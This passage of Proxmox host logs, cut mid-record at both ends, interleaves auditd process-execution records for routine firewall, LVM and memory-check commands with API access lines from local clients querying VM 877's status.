a2=61cde6090680 a3=61cde4a3624e items=2 ppid=65658 pid=65660 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964469469,"@rawstring":"node=pve type=EXECVE msg=audit(1781964469.469:61157): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965320725,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 906"} {"@timestamp":1781966084537,"@rawstring":"node=pve type=EXECVE msg=audit(1781966084.537:68360): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964645819,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.819:61933): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd2ca2d1b0 a1=619004432d50 a2=619004415680 a3=5 items=1 ppid=59425 pid=59426 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965322580,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965322.580:65109): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955c30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62542 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075731,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.731:59475): arch=c000003e syscall=59 success=yes exit=0 a0=7ffde336be90 a1=55e63244b310 a2=55e632444680 a3=5 items=2 ppid=57117 pid=57118 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.697:68374): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe946d91a0 a1=61cde60b21c0 a2=61cde6090680 a3=5 items=2 ppid=65658 pid=65659 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465539,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.539:61154): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965320725,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966084508,"@rawstring":"node=pve type=EXECVE msg=audit(1781966084.508:68359): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964645141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.141:61925): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59419 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965322580,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965322.580:65108): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955c30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62542 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.728:59473): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57117 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085692,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.692:68372): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465536,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.536:61153): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965320725,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781966081098,"@rawstring":"node=pve type=EXECVE msg=audit(1781966081.098:68358): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964645140,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.140:61924): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59419 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965322571,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965322.571:65106): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075721,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.721:59472): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57116 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085684,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.684:68371): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465534,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.534:61152): argc=1 a0=\"date\""} {"@timestamp":1781965319692,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781966081098,"@rawstring":"node=pve type=EXECVE msg=audit(1781966081.098:68357): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964645133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.133:61922): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965322571,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965322.571:65105): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075713,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.713:59471): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57115 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085674,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.674:68370): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465531,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.531:61150): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965318685,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:57 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781966081096,"@rawstring":"node=pve type=EXECVE msg=audit(1781966081.096:68356): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964645133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964645.133:61921): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965317563,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965317.563:65103): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955ab0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62538 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075708,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.708:59470): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0da010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57114 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085669,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.669:68369): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65655 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465524,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.524:61149): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965318685,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781966080309,"@rawstring":"node=pve type=EXECVE msg=audit(1781966080.309:68355): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964640123,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964640.123:61917): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965317562,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965317.562:65102): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955ab0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62538 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075701,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.701:59469): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0dea00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57113 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085660,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.660:68368): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fce70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65654 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465517,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.517:61148): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965317681,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:56 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964640123,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964640.123:61916): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966080303,"@rawstring":"node=pve type=EXECVE msg=audit(1781966080.303:68352): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965317553,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965317.553:65100): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899559f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62537 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075695,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.695:59468): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c020 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57112 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085650,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.650:68367): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139f20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465509,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.509:61147): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965316666,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:55 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964640116,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964640.116:61914): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075639,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.639:68349): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965317553,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965317.553:65099): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899559f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62537 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964074677,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964074.677:59467): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d8d20 a1=64f8d73db250 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57109 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.328:68366): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465503,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.503:61146): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965316666,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964640116,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964640.116:61913): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075636,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.636:68348): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965315936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.936:65095): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd15317ea0 a1=582c2768d310 a2=582c27686680 a3=5 items=1 ppid=62530 pid=62531 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964074642,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964074.642:59466): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dcae0 a1=64f8d73ee170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57108 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.316:68363): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465497,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.497:61144): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965316666,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964635757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.757:61906): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdc8f20450 a1=5aa311fd43d0 a2=5aa311fb2680 a3=5 items=1 ppid=59400 pid=59401 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075635,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.635:68347): argc=1 a0=\"date\""} {"@timestamp":1781965315839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.839:65077): arch=c000003e syscall=59 success=no exit=-2 a0=7fffdd6c28b0 a1=62a1da186310 a2=62a1da17f680 a3=5 items=1 ppid=62511 pid=62512 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964072832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964072.832:59465): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966084537,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966084.537:68360): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be8d0 a1=64f8d740a950 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65648 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465492,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.492:61143): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965316666,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781964635676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.676:61888): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdbe74f470 a1=5a321cb08310 a2=5a321cb01680 a3=5 items=1 ppid=59381 pid=59382 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075631,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.631:68345): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965312545,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965312.545:65067): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955930 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964072823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964072.823:59462): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57106 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966084508,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966084.508:68359): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7406bd0 a1=64f8d73ee5b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65647 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964465485,"@rawstring":"node=pve type=EXECVE msg=audit(1781964465.485:61142): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965314632,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781964635105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964635.105:61880): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966075623,"@rawstring":"node=pve type=EXECVE msg=audit(1781966075.623:68344): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965312545,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965312.545:65066): arch=c000003e 